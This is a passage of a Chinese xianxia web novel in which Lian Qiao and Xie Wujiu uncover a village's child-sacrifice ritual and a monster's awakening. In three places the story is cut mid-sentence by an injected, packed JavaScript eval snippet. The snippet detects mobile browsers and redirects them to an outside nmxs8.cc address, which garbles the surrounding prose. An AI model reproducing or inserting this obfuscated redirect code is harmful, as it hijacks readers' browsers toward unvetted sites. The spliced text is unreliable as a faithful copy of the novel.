有点随意了吧,就这么知难而退了? 连翘傻眼。 "那是..."她刚开口,就被谢无咎拽着往红光方向跑去。 穿过几道坍塌的拱门又下了许多层台阶之后,他们停在一面巨大的壁画前。 “找到了……”少年兴奋地喘着气,“阵眼。” 壁画用的颜料很特殊,在幽蓝环境中依然鲜艳如血,呈现出诡异的立体感。 画面中央那庞然大物的轮廓,竟与此刻他们身处的宫殿结构完美重合。 这座宫殿…不会就是那个雨童害怕的怪物吧? 连翘大胆猜测,打量起四周。 那些看似装饰的珊瑚立柱,分明是这壁画中怪物头顶的鹿角;脚下微微起伏的地砖,实则是它布满鳞片和腺液的表皮;就连两侧贝壳状的灯,都是它的眼睛。 她转回头来,谢无咎仍然目不转睛地盯着壁画。 壁画中最引人注目的是怪物胸口插着的七根金针,每根针尾都连着一条锁链,分别握在七个戴面具的人手中。 而一个巨大的阵法正从怪物身下冉冉升起。 "沧溟..." 谢无咎无意识地念出这个名字,指尖抚过壁画一角的小字。 那些文字扭曲如蛇,连翘一个都不认识,却看到少年的脸色越来越苍白。 "你认识这种文字?"她小声问。 谢无咎没有回答,而是突然转向壁画另一侧。 那里记录着另一幅场景:锁链断裂,金针崩飞,怪物仰头发出一圈圈声波。 直到一个孩子被放在阵眼中心摆放的青铜鼎中,它才重新伏低身子,被钉上新的金针。 “十年一祭,血肉为引。”他低声念出,声音冷得像冰。 “是献祭?”连翘看不懂上面的文字,但可以看懂画面,“献祭小孩吗?” 谢无咎猛地转头看她,眼中闪过一丝红光。连翘下意识后退,后腰却撞上了什么坚硬的东西。 她回头一看,是一座与壁画上一模一样的半人高的青铜鼎,鼎中盛着暗红色的液体,散发出铁锈般的腥味。 "血池。"谢无咎的声音变得异常冷静,"但不新鲜了。” 连翘捂着鼻子慌忙撤开几步,望着鼎中的血若有所思了一阵。 “怎么?”谢无咎问,“有何发现?” 连翘促狭地眨了眨眼睛,像是发现什么新奇东西一样扭头盯住他。 方才她脸颊上的擦伤只有拇指长短,这家伙就一副吸血鬼附身的模样,而现在他们面前摆着这么大一盆血,谢无咎看起来倒挺正常的。 这不对劲,很不对劲。 “这回闻到血味,谢公子怎么不咬人了?” 她故意把脖子往前凑了凑。 “难道是嫌弃不够新鲜?” 谢无咎后撤一步,少年眼尾微垂的弧度浸在幽蓝的光晕里,睫毛投下的阴影像一丛淬毒的荆棘。 在他意味不明的注视下,连翘挺直脊背,目光坦然。 “我知道了,想必谢公子是有些挑食。” 她得意地晃了晃脑袋,发间珠钗叮当作响。 “本小姐果然很美味吧?” “呵,”谢无咎冷笑一声,像是终于找到了反驳她的话头,“谁知道你为了种共生蛊,用了什么手段。” “非常时期,自然要用非常手段。” 连翘不以为耻反以为荣,饶有兴致地跟他掰扯。 “你看,若是我不给你种共生蛊,我们两人落到了这个宫殿里,没有你师兄和叶姐姐在旁边,你还会管我的死活吗?” 少年沉默。 而沉默本身也是一种答案。 “你当然不会管我,你还会抢走我香囊里所有的避水符,这样当别人发现我的时候,你就可以说你和我走散,而我用尽了避水符被淹死了。我会变成那一地小骸骨中唯一的大骸骨,而你,最多也就是被你师兄骂一顿罢了,对不对?” 谢无咎忽然展颜一笑,他眼尾微微上扬,露出两颗尖尖的虎牙,整个人像只无害的小兽般纯良。 可那笑意却未达眼底,漆黑的瞳孔深处仿佛蛰伏着什么危险的东西。 连翘悚然一惊。 在原著里,谢无咎的虎牙可是一大杀器——不单单是说虎牙很可爱的意思。 在谢无咎脸上看到露出虎牙的笑容,和杀人预告没有什么区别。 但是一味的装傻是没有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375246|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义的,现在两个人身上有共生蛊的绑定关系,足够让她在危险的边缘疯狂试探,看看谢无咎现在的易燃易爆炸程度究竟如何。 她心惊胆战地等待着系统的警报声,等了半天却什么也没等到。 谢无咎收起笑容,语调轻快,声音温柔得可怕。 “大小姐是不是想太多了,”他歪了歪头,“我听不懂你在说什么。” 少女也笑起来,仿佛两个人在讨论明天太阳不错适宜出门踏青这样轻松愉快的话题。 “我的直觉是真的很准噢,小谢同志。和你一样,我第一次见你的时候,就知道你不是什么好东西。” 连翘意有所指地点了点脖颈上还未散去的齿痕。 “反正咱们俩现在是绑定关系,所以你跟我就没什么好装的啦。” 半晌,谢无咎移开视线,踢了踢脚边的物件。 “看这个。” 很拙劣的转移话题的手法。 但是给这种问题少年做思想工作,本就不可操之过急,连翘没打算戳破。 她配合着低头,这才注意到青铜鼎周围散落着许多小物件:褪色的红头绳、磨圆的铜钱、豁口的陶笛...都是些小孩会随身携带的零碎。最显眼的是鼎边一只绣花鞋,鞋面上歪歪扭扭绣着朵荷花。 “这些血,是那些被献祭的小孩的。” 联想到那幅壁画里被放入青铜鼎的小孩,连翘突然明白了。 “是为了配合画中修士的阵法,镇压住这只怪物。所以雨童才不敢进来,可既然这样的话,她们为什么要弄出声响,吵醒那些守卫……?” “这是一个锁妖阵,”谢无咎捡起地上散落的红色头绳,上面沾着暗褐色的污渍,"按照壁画上的记载,每隔十年就要重新献祭,否则——" 他的话被一阵突如其来的震动打断。脚下的地面开始剧烈摇晃,穹顶出现蛛网般的裂纹,碎石簌簌坠落。 连翘刚要抬头,就被谢无咎一把拽到身侧——一块尖锐的断石擦着她的发髻砸进血池,溅起的液体在鳞片地面上腐蚀出嘶嘶白烟。 "师兄他们来了。" 谢无咎突然道,银铃在震荡的水流中发出清越声响。他拉着她四处躲闪,离开了放着青铜鼎的暗室,来到了回廊之外。 仿佛回应他的判断,一道雪白剑光如流星劈开穹顶,墨绿色的湖水倾泻而下。叶望舒的金丝在激流中织成密网,谢凛的身影踏着剑光疾驰而来,却在看到殿内景象时瞳孔骤缩—— "这是……血祭坛?" 连翘正要跳起来解释,旁边的石像突然迸裂,从中冒出一个与刚刚那些怪鱼一样手里握着三叉戟的怪物。 谢无咎旋身将她护在怀中,掷出的三叉戟锋利的尖端直接贯穿了他右肩。 "嘶——"连翘肩头顿时传来撕裂般的剧痛,疼得她眼泪直冒,"谢无咎你……!" 少年染血的手指抚过她眼尾泪珠,笑得恶劣:"自作自受吧?" 他喘息着将贯穿肩膀的三叉戟生生震出,反手就将那条怪鱼用幽蓝火焰烤得皮开肉绽。 他伤口带出的血珠溅在连翘脸上,面上的表情倒是恶作剧得逞一样的兴奋与轻松。 "我受伤可比你频繁多了。" 叶望舒的金丝缠住二人腰身,谢凛的剑气在头顶劈开通道。 四人冲出宫殿的刹那,连翘最后回头一瞥——刚刚被男女主全力一击破开的穹顶没有像刚刚那些怪鱼消失的时候一样缓缓愈合,墨绿色的湖水很快就充斥了整个宫殿。 5. 第 5 章 连翘是被肩头的刺痛惊醒的。 她睁开眼,发现自己躺在一张简陋的木床上,身下垫着粗糙的渔网,被褥上还残留着鱼腥气。屋子很小,墙角堆着修补渔网的梭子和麻绳,窗边木桌上摆着几个缺口的陶碗,一盏油灯幽幽燃着,火光在潮湿的墙壁上投下摇晃的影子。 "醒了?"谢无咎的声音从门口传来。 连翘转头,看见少年倚在门框边,右肩缠着厚厚的绷带,脸色苍白得近乎透明,却仍挂着那副似笑非笑的表情。 "你晕了半个多时辰,"他慢悠悠道,"师兄和叶姐姐在隔壁和船夫说话。" 连翘撑着身子坐起来,肩上的伤处立刻传来一阵尖锐的疼痛,她倒抽一口凉气,下意识按住肩膀。 谢无咎见状,眉梢微挑:"疼?" "废话!"连翘瞪他,"你试试被捅个对穿?" 谢无咎轻笑一声,走到床边,居高临下地看着她:"我确实试过了。"他指了指自己肩上的伤,"而且,是你非要种共生蛊的。" 连翘正要反驳,忽然瞥见墙上挂着的一块素白手绢——手绢边缘绣着一朵歪歪扭扭的荷花,针脚粗糙,和青铜鼎旁那只绣花鞋上的图案一模一样。 她心头一跳,刚要开口,外间传来叶望舒温和的声音:"姑娘醒了?" 谢凛和叶望舒一前一后走进来,身后跟着那个佝偻着背的老船夫。船夫低着头,手里捧着一碗热腾腾的鱼汤,热气模糊了她的面容。 "喝点汤吧,"叶望舒接过碗递给连翘,"芸娘特意煮的。" 连翘接过碗,目光却一直盯着船夫。老妇人察觉到她的视线,浑浊的眼睛闪了闪,干裂的嘴唇蠕动了一下,似乎想说什么,最终却只是沉默地退到一旁。 连翘的视线再次落在那块绣着荷花的手绢上。 "芸娘,"她突然开口,"这手绢上的荷花,是您绣的吗?" 老船夫的身体猛地一颤,她抬起头,眼里闪过一丝慌乱,又很快低下头去,声音沙哑:"是、是老身年轻时绣的……" 连翘盯着她。 "和我在湖底见到的那只绣花鞋上的荷花,一模一样。" 屋内瞬间安静下来。 谢凛的剑无声出鞘三寸,叶望舒的金丝在袖中微微颤动。谢无咎仍靠在门边,脸上笑意不减,眼神却冷了下来。 老船夫的手开始发抖,她突然跪倒在地,膝盖砸出咚得一声。 "阿囡……",她干枯的手指抓住连翘的裙角,眼泪大颗大颗地砸在地上,"我、我只是想再看看她……" 连翘看着这个痛哭流涕的老人,忽然明白了什么。 "那只绣花鞋……是你女儿的,对吗?"她轻声道,"你把她献祭给了沧溟。" 船夫芸娘的身体剧烈颤抖起来,她抬起头,浑浊的眼里满是绝望和疯狂:"不、不是我!我也不想的!可、可沧溟大人选中了她……如果我不献祭她,整个村子都会……" 【警告!宿主OOC程度超标!】 【检测到连续48小时未对原著男主谢凛表达爱慕】 【惩罚机制启动:痛感增幅300%】 连翘肩头的伤口突然炸开撕裂般的剧痛,疼得她眼前发黑,船夫的呜咽淹没在系统的警报声里。 “前两天不是刚调戏过谢凛吗?” 她在意识里怒吼。 【宿主昏迷期间计时未暂停】 【剩余惩罚时间:28分钟】 像是觉得眼下的情形还不够乱似的,屋外突然传来"咚"的一声闷响,像是有什么重物砸在了门上。紧接着,第二声、第三声…… 谢无咎的脸色变了:"雨童。" 老船夫的脸上浮现出诡异的笑容:"来不及了……"她喃喃道,"阿囡、阿囡……我要让她把你们都吃了……” 木门在剧烈的撞击下开始变形,裂缝中渗出墨绿色的湖水。连翘肩上伤口灼烧般的疼痛愈演愈烈——透过窗户,她看到数十只惨白的小手正扒在门上。 “嘶——”门被撞开的瞬间,连翘一个箭步——躲到了谢凛背后。 “兄弟,你美救英雄的时候到了。”她面色苍白地冲谢凛眨眨眼,“你就放开打吧,虽然我不抽烟不喝酒没有不良嗜好,将来成亲后一定不会家暴你,但我觉得白幼瘦的审美确实畸形,所以不介意男人比我强一点。” 谢凛茫然地回头看他,像是一个过载的显示器加载半天弹出了404的提示,他干巴巴道: “现在不是开玩笑的时候。” “谁开玩笑了?”连翘捂住肩膀,一脸痛心疾首,“不想爬上老板床的保镖不是好男人。我花那么多灵石雇你们,结果连挑个帅哥来VIP保护的服务都没有?这合理吗?” 雨童利爪破空而来的声响救了谢凛。他腰侧的山河剑出鞘,凌然的剑气险些掀翻这座破旧小屋的天花板,数十只惨白的小手在墨绿色的长发间乱舞,乍一看就像是什么抽象的艺术画。 媚眼抛了,鼓励给到了,甚至还抛出了以后会成亲的设想,连翘肩头的伤口终于好受了一点,在混乱的战场上努力把自己缩成一团降低存在感。 【我还是觉得你这不叫表达爱慕】 【这明明就是骚扰】 系统道。 "那你觉得在楼下摆蜡烛、捧玫瑰、用大喇叭喊话算表达爱慕吗?叫上所有共同好友起哄造势算表达爱慕吗?"连翘在意识里慢条斯理地反问,“把死缠烂打当深情,把没有边界感当体贴,还美其名曰''真爱就要勇敢''。” 她总结:“男人这种生物,绝大多数本来就分不清爱慕与骚扰的区别。” 谢凛的剑气有些收敛,叶望舒的金丝缠住三只雨童。 屋子很狭小,水汽无孔不入,而男女主角是传统意义上的好人,即使芸娘要杀他们,他们也想留她个活口。这极大地限制了他们的行动速度,在与雨童的纠缠中束手束脚。 连翘在心中判断了一下局面,余光瞥见一只特殊的雨童——它脖子上挂着褪色的长命锁,正歪头看着芸娘。 "等等,那个孩子……"连翘不自觉地向前探身。 【宿主!危险!】 她刚踏出谢凛的防护范围,一只雨童就扑了过来。竹青色身影闪过,谢无咎一把将她拽回怀里。利爪擦着她脸颊划过,在少年手臂上留下几道血痕。 "嘶——"连翘胳膊上顿时传来同样的刺痛,但与刚才的程度完全不能相提并论。她抬头对上谢无咎阴沉的脸色,突然笑了:"虽然还是你师兄更对胃口……"< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375247|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她伸手抚上谢无咎渗血的伤口,指尖暧昧地打着圈:"不过战损版的你也是秀色可餐,姐姐等下会疼你的。" 谢无咎的瞳孔猛地收缩。他扣住连翘作乱的手腕,温热的胸膛贴着她的后背,呼吸喷在她耳畔:"大小姐,找死?" "怎么会呢~"连翘趁机转头贴近他耳边,伪装狐狸精吐气如兰,"我可是很惜命的。" 谢无咎忍无可忍地拎着她的领子把她摁到了自己身后。 连翘踮着脚尖,从他身后探出半个脑袋对雨童们指指点点,"你那个火呢?烧起来!" 谢无咎:"……" 活了十余年,他第一次在一个人身上发现狐假虎威这个词居然可以这么活灵活现。 一只雨童猛地扑来,惨白的小手直掏心口。谢无咎剑指一划,幽蓝火焰将雨童逼退,转头对连翘凉凉道:"大小姐不是有很多法宝吗?" 连翘理直气壮:"本小姐的符很贵的!能随便用吗?"说着又往他背后缩了缩,"而且你受伤我也疼,四舍五入就是你欠我的!" 她瞥见谢无咎甩出的那一招残余的火星将那只戴长命锁的雨童头发烧着了一些,而不远处的芸娘突然有了一个疑似要起身的动作。 于是掰过谢无咎的脑袋,正色道:"看那边。" 谢无咎是正统修士出身,眼力自然比连翘要好得多,一眼就看到那只雨童脖颈上挂着的褪色长命锁上歪歪扭扭刻着"阿囡"二字。 "师兄,你看这个。"他语气轻快地招呼道,手上动作却极快,指尖的幽蓝火焰骤然暴涨,一个闪身就挡在了那只特殊雨童面前。银铃在他指间轻转,发出清脆的声响。 芸娘的动作猛地僵住,浑浊的眼睛死死盯着雨童脖子上的长命锁。 "有意思。"谢无咎歪着头打量雨童脖颈上锈迹斑斑的银锁,脸上带着惯常的明朗笑意,手上的银铃却不动声色地缠住了雨童的脖颈,"婆婆,这是你女儿的东西吧?" 老船夫的嘴唇剧烈颤抖起来:"不…不要……" "别紧张嘛。"谢无咎笑眯眯地说,手上银铃却微微收紧,"我们只是想帮——" "住手!"芸娘突然尖叫着扑来。 谢凛的剑光一闪,及时拦住她的去路。叶望舒的金丝也同时飞出,将剩余几个躁动的雨童束缚住。 "哎呀,婆婆别激动。"谢无咎状似无奈地摇头,手上的银铃却始终没有松开,"看来这位''阿囡''小姐,比我们想象的要重要得多啊。" 连翘慢悠悠地走过来,在带着长命锁的雨童身前蹲下,啧啧称奇:"哇哦,这就是传说中的''你女儿在我手上''的经典桥段吗?" 她戳了戳雨童惨白的脸蛋,讶异道。 "话说回来,这手感还挺……凉快的?" 谢无咎斜睨她一眼:"你要是一直在湖水里泡着一定比她温度还低,有兴趣试试吗?" "免了免了。" 连翘连连摆手。 "我肉体凡胎的,恐怕会先被鱼啃成骨架,再被海水腐蚀成渣渣,最后变成海底的一撮钙质沉积物——科学上管这叫''海洋白骨化进程'',比成为小水鬼跌宕起伏多了。" 她转向芸娘,眨眨眼,"婆婆,现在可以好好说话了吗?" 6. 第 6 章 老船夫瘫坐在地,浑浊的眼泪滚下来:"老身只是、只是不想让阿囡消失,而且那些修士被吃掉,本就是因果报应……他们罪有应得!" 他们站在残破的小屋中,听芸娘讲完了这个漫长的故事。 村子边上的无渡泽里,住着一位大妖,这是村里人都知道的事情。 靠山吃山,靠海吃海,坐落在无渡泽边上,周遭没有肥沃的农田,村民们只能冒着被妖怪吃掉的风险,靠捕鱼为生。 在村子里,每年都有那么一两个壮丁出海打鱼没有回来,已经是大家见怪不怪的事情了。 直到大约两百年前,一位村长觉得这样下去不是办法,他与村民们筹钱,斥巨资请来了七位仙长,求他们除去这个吃人的妖怪。 仙长收了钱,布置好了阵法,将大妖困于海底的那座宫殿中。村民们为了感激他们,还在壁画上绘制了他们斩妖除魔的英姿。 只可惜好景不长,不过十年后,又有一位村民被妖怪吃掉了。 村长去寻找当时的七位仙长,得到的答复是没有办法,如果要重新布置阵法需要再次收费。可是村里的人实在是凑不出这么多钱了。 “是吗?没钱还想找人救命,天底下哪有这样的好事?” 仙长之一嗤笑道。 最终,在村民们的苦苦哀求下,他们还是给出了一个办法,需要每十年给大妖献祭一个幼童的血肉,以此稳固阵法。 到如今,这个办法已经实行了两百多年了,共有二十多位幼童被绑在雷击木制成的小舟上献祭给大妖,小舟上还塞满了给大妖的祭品,食物、一些银两,甚至还有海神娘娘的陶瓷摆件。 捕鱼为生的人家,最不能缺的就是男丁。 因此两百多年来的这些祭品,无一例外的,每一个都是女孩。 十年前的这个女孩,正是芸娘的女儿阿囡。 “阿囡刚死没多久,就发生了那件大事……大家终于不像之前一样把修士奉若神明,可我的阿囡已经再也回不来了。” 芸娘的声音里透着彻骨的恨意。 “直到两年前,有一天出海捕鱼……”她的声音颤抖着,"那天风浪太大,我的船翻了,整个人沉进水里。我以为自己死定了……" 目光渐渐涣散,芸娘仿佛又回到了那个暴雨倾盆的夜晚。 "就在我快要窒息的时候,突然感觉有什么东西托住了我的后背。"芸娘的声音轻得像一缕烟,"我睁开眼,看到一张惨白的脸——那是个小女孩的模样,没有瞳孔的眼睛直勾勾地盯着我。" 连翘感觉到谢无咎的手臂肌肉突然绷紧。 "我拼命挣扎,可那孩子力气大得吓人。"芸娘继续道,"就在我以为要被拖进深渊时,她突然松手了。我浮上水面,发现她正用腐烂的小手推着我的背,一点一点把我往岸边送……" 老船夫的眼泪砸在雨童阿囡的头顶,那孩子仰起脸,空洞的眼睛里流下两行浑浊的液体。 "上岸后,我回头,在她的身上发现了这个。"芸娘颤抖着抚摸长命锁,"这是我亲手给阿囡戴上的……上面还刻着她的名字。" 屋内陷入死寂,只有雨童们发出的细微呜咽声。 连翘喃喃:"所以这些雨童……" "都是被献祭的孩子。"谢无咎冷声道,"她们死后怨念太重,变成了水鬼,需要吞噬修士的瞳昽才能维持形态。" 芸娘疯狂点头:"阿囡带我去了她们住的地方……那是个很黑很冷的洞穴。她们说,如果不吃修士的曈昽,他们就会慢慢消散……" 叶望舒的金丝微微颤动:"所以你就放出过湖必须乘坐渡厄舟的传言,然后用雷击木做标记,诱骗修士上船供雨童吸食?" "我没办法!"芸娘突然激动起来,"那些修士……那些高高在上的仙长,不就是他们定的规矩吗?凭什么他们收钱办事,却要我的孩子去死?!" 她的指甲深深掐进掌心,鲜血顺着皱纹纵横的手掌滴落:"既然他们说修士的命比凡人金贵,那就用他们的命来换我的阿囡活着!" “活人献祭,有违仙门条例。”谢凛的剑尖颤抖着,“我们怎么知道你不是在撒谎?” “撒谎?” 芸娘好像听到了什么好笑的事情,调子拔高到几乎破音的程度。 “我有必要撒谎吗?死去的那些孩子,是假的吗?她!还有他!”她伸出手指指了指连翘和谢无咎,“他们在水下看到的那些,难道都是假的么?” 连翘看得出来,素来相信仙门正气凌然、爱民助民的男主世界观受到了挑战,他在原地站了半晌,似乎也不知道如何抉择,只是问: "你害了多少人?" 无人在意的角落,谢无咎整个人抖了一下。 而芸娘咧开嘴,露出一个扭曲的笑容:"不多……刚好二十七个。" 屋外突然传来震耳欲聋的轰鸣,整个湖面沸腾般翻滚起来。透过破碎的木门,数十条鱼尾人身的怪物破水而出,而在它们身后,整座无渡泽的水位正在急速下降,露出水下那座正在缓缓蠕动的珊瑚宫殿——沧溟的本体正在苏醒。 "沧溟大人醒了……"芸娘喃喃道,"是你们打开了屏障,让祂闻到了新鲜血肉的味道……" "我去疏散村民。" 没有理会老船夫神神叨叨的碎碎念,连翘从香囊里掏出一大叠神行符,一把抓过芸娘的手,带着浩浩汤汤一群只听芸娘指挥的雨童,转身就要往村里跑。 刚踏出一步,她又突然刹住脚步,回头看向谢无咎: "喂,你可别死了。" 谢无咎正把玩着腰间的银铃,闻言挑眉:"怎么?大小姐担心我?" "那当然~"连翘夸张地捂住心口,"你看谢大哥实力超群不用操心,叶姐姐英姿飒爽独当一面,就你——" 她拖长音调,上下扫视谢无咎。 "又爱逞强又容易挂彩,简直是我这种怜弱之人的天菜。虽然本小姐注定要当个博爱的女人,但每个男人都能分到独一无二的宠爱。" 她突然正色,竖起三根手指:"所以你要是敢死,我就余生荤素搭配、晚睡晚起,祈祷你下辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375248|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子投胎当我儿子,天天管你叫乖崽。" 谢无咎:"……" 叶望舒没忍住"噗嗤"笑出声,谢凛的嘴角微不可察地抽了抽。 “不好嘛?富二代欸!”连翘挑眉,“你大可以每天在城楼上长啸:我不想要很多很多的钱,只想要很多很多的爱。” 说罢,她在谢无咎无语的目光里晃了晃手腕,示意共生蛊的联系,然后头也不回地冲向村落,高喊道: "所有人!立刻往山上撤!带上老人和孩子!" 谢凛望着她的背影,微微皱眉:"她倒是……" "跑得比兔子还快?"谢无咎接话,指尖已经燃起幽蓝火焰,"毕竟惜命嘛。" 叶望舒的金丝在腕间缠绕:"我们也该准备了。" 三人转身面向湖面。此刻,数十只鱼尾人身的守卫已经靠近岸边,它们的鱼尾拍打着水面,脸上密密麻麻的眼睛同时锁定岸边的三人。 浓重的水汽在空气中凝结,连呼吸都带着潮湿的腥气。 谢凛率先出手。他身形如松,右手持剑,左手掐诀,山河剑出鞘时带起一道霜白剑气。剑锋所过之处,三只守卫被拦腰斩断。 "啧。"谢凛冷峻的面容闪过一丝凝重。他的剑气向来无往不利,此刻却被这浓郁的水汽层层削弱。 他眉头微蹙,剑势一转,身形如游龙般在水雾中穿行,每一步都精准避开它们刺来的三叉戟。 叶望舒双手翻飞,腕间金丝如灵蛇出洞,在潮湿的空气中织就一张金色大网,笼罩住附近的几只怪物。然而水汽浸染下,金丝变得异常沉重,每一次收束都让她额头渗出细密汗珠。 她咬紧下唇,指节因用力而发白,却仍勉力维持着金丝的束缚。 "这样不行。"她咬牙,额角渗出细密的汗珠,"我们的曈昽被压制了。" 谢无咎甩了甩湿透的袖子,不耐烦地啧了一声,银铃在腕间沉闷地不断响动。 "在湖边炸鱼是有些麻烦。" 他指尖的幽蓝火焰艰难地维持着,在浓重水汽中显得格外微弱。 突然,所有守卫同时停止了攻击,整齐地退到两侧。湖心传来震耳欲聋的轰鸣,那座珊瑚宫殿的顶部缓缓裂开,露出一张布满利齿的巨口——沧溟终于完全苏醒。 “吼——” 伴随着这声咆哮,守卫们集体举起三叉戟,戟尖凝聚出幽蓝的水球。 谢无咎瞳孔一缩:“散开!” 数十个水球同时射来,在空中交织成一张死亡之网。谢无咎身形如鬼魅般挡在二人面前,双手结印,三叠离火在掌心炸开。 第一叠深蓝火焰形成屏障,第二叠靛青火焰化作锁链刺破水球,第三叠幽紫火焰直取守卫们的眼睛。 "师兄!"他扬声喊道,"你的霜气能暂时冻住水雾吗?" 谢凛没有回答,但剑锋上的霜气骤然暴涨,空气中潮湿的水汽凝结成冰晶,哗啦啦地散落一地,竟短暂地在三人周围撑开一片干燥的空间。 "漂亮!"谢无咎吹了声口哨,"叶姐姐,趁现在!" 7. 第 7 章 叶望舒的金丝终于恢复灵活,如闪电般缠住近旁守卫的脖颈。与此同时,谢无咎身形一闪,已同步跃至沧溟巨口上方,火焰在指尖凝聚成刃。就在他即将出手的瞬间,守卫们突然集体睁大了所有眼睛——那些瞳孔不规律地转动着,看得人头晕目眩。 “别看它们的眼睛!”谢凛喝道,几乎是同时,谢无咎甩出银铃,清脆的铃声暂时打断了守卫们的精神控制。 但也就是这一滞的工夫,谢凛的剑气再次被水雾化解。谢无咎在空中翻身后撤,落地时单膝跪地,指尖火焰明灭不定。 "看来不行。"谢无咎遗憾地摇头,侧身避开守卫甩来的鱼尾,还不忘调侃,"叶姐姐,你的金丝都快要变成渔网了。" 叶望舒咬牙:"阿咎!现在是说俏皮话的时候吗?" "紧张什么?"谢无咎指尖复又燃起熊熊的幽蓝火焰,在浓重水汽中艰难地愈烧愈旺,"反正大小姐已经带着村民撤了,我们就算打不过——" "——也得拖到他们安全。"谢凛冷声打断,剑势陡然凌厉,霜气再度短暂地逼退了周遭水雾,但更多的守卫正从四面八方涌来,看上去似乎无穷无尽。 “这样下去没完没了。”谢无咎眯起眼睛,突然笑了,"那座宫殿的阵法......当年七个修士能用它困住沧溟,我们也可以。" "但阵法需要献祭。"叶望舒脸色发白,"难道要......" "噢,这个啊。"谢无咎眨眨眼,语气轻松得仿佛在讨论今天的天气,"你们来救我之前,我看了壁画,上面写了别的启动方法。" 他转身走向湖心,幽蓝的火焰在水面上铺就一条燃烧的路径,将翻涌的浊浪尽数逼退。银铃在他腕间轻轻震颤,发出清脆的声响,与火焰燃烧的噼啪声交织在一起。 他背对着二人挥了挥手:"交给我吧。" 连翘站在半山腰的松树下,背后的湖面波涛汹涌。她看着村民们陆续撤进山洞,数了数人数,与村长确认没有遗漏后,才松了口气。 芸娘跪在地上,双手不住梳理着阿囡的长发,仿佛这是她唯一的精神支柱,她的口中念念有词:"阿囡……阿囡……" 连翘蹲下身,轻轻拍了拍她的肩膀:"婆婆。" 老船夫猛地抬头,蓄起的泪珠顺着沟壑纵横的脸颊滚落,姑娘琥珀色的澄澈眼睛中倒映出她扭曲的面容:"你、你要干什么?" "我只是想问问你,"连翘直视着她的眼睛,"你有没有想过,阿囡希望你这样做吗?她靠吸食修士而活着,真的算活着吗?" 芸娘的表情凝固了。 "她把我和谢无咎拖下水,却没有吃我们。"连翘继续道,"她带我们去了那座宫殿,撞开穹顶,叫醒了守卫……" "她、她那是……"芸娘的声音颤抖着。 "她那是想让沧溟醒过来,"连翘轻声道,"因为十年之期又到了,阵法已然衰弱,需要新的祭品。而她们——"她指了指不远处与村村民们远远隔开,正好奇打量四周的雨童,"这些女孩,已经不想再看到村里有新的孩子被献祭了。" 芸娘的身体剧烈颤抖起来:"不……不是这样的……" "你其实知道,对吗?"连翘盯着她,"从阿囡放弃攻击我,转而攻击谢无咎的那一刻起,你就明白了。" 芸娘的眼神涣散了一瞬,随即又变得疯狂:"那又怎样?!你们这些修士都该死!你们收钱办事,水平不够,却要我们的孩子去死!" 连翘没有反驳,只是转头,盯着雨童没有瞳孔的眼睛,轻声问:"阿囡,谢无咎的血不一样,对吗?" 雨童阿囡歪着脑袋,海藻般的长发在夜风中轻轻晃动,她腐烂的小手抓住连翘的衣袖,在昂贵的云锦料子上留下水渍。少女却浑不在意,反而将另一只手覆在雨童手背上。月光下,活人细腻的肌肤与鬼魅青白的指节形成鲜明对比。 在她鼓励的目光中,阿囡点了头。 "他虽然已经不是小孩了,但他的血可以代替祭品,对吗?" 雨童又点了点头。 芸娘的表情彻底崩溃了:"不……不行……阿囡,你不能这样……" 连翘站起身,拍了拍裙摆上的尘土,她与谢无咎似乎离得太远了,不得不忍受着共生蛊带来的心悸与隐痛,垂着眼睛道:"芸娘,你们是无辜的,阿囡是无辜的,她本来可以幸福快乐地长大。" 她顿了顿。 "但他也是无辜的。" 寂静的山中回荡着远处汹涌的波涛声,几颗星子躲在薄雾般的云后 今夜没有月亮。 少女的声音很轻,却很坚定。 "所以,抱歉了,我不会让他死。" 连翘转身朝山下走去,一只冰凉的小手突然抓住了她。 --- 湖面上,谢无咎的幽蓝火焰已经铺成一条燃烧的路径,直通湖心。数十只守卫疯狂地想要突破这条防线,却被谢凛的霜白剑气与叶望舒的金丝大王死死拦住,无法靠近那处火焰凝结的屏障。 少年的发尾即将淹没在翻滚的黑色波涛中。 "阿咎!" 谢凛大喊,霜气在水面凝结出数丈高的冰墙,挡住守卫的攻击。他向来冷峻的面容罕见地出现裂痕,却在看到谢无咎动作停顿后卡了壳,半晌说不出一句话来。 他的性子太冷了些,而有的话长时间不说,便愈发难以启齿。 最终还是叶望舒替他开了口,姑娘的金丝缠住几只守卫的脖颈,高声道: “万事小心,千万注意安全!” 谢无咎笑了笑,没回答,化作小小的黑点,连带着那些幽蓝火焰一起,消失在湖面尽头。 夜晚的湖水冷得刺骨。 他纵身跃入水中,幽蓝火焰在身周形成气泡,将浑浊的湖水隔绝在外。 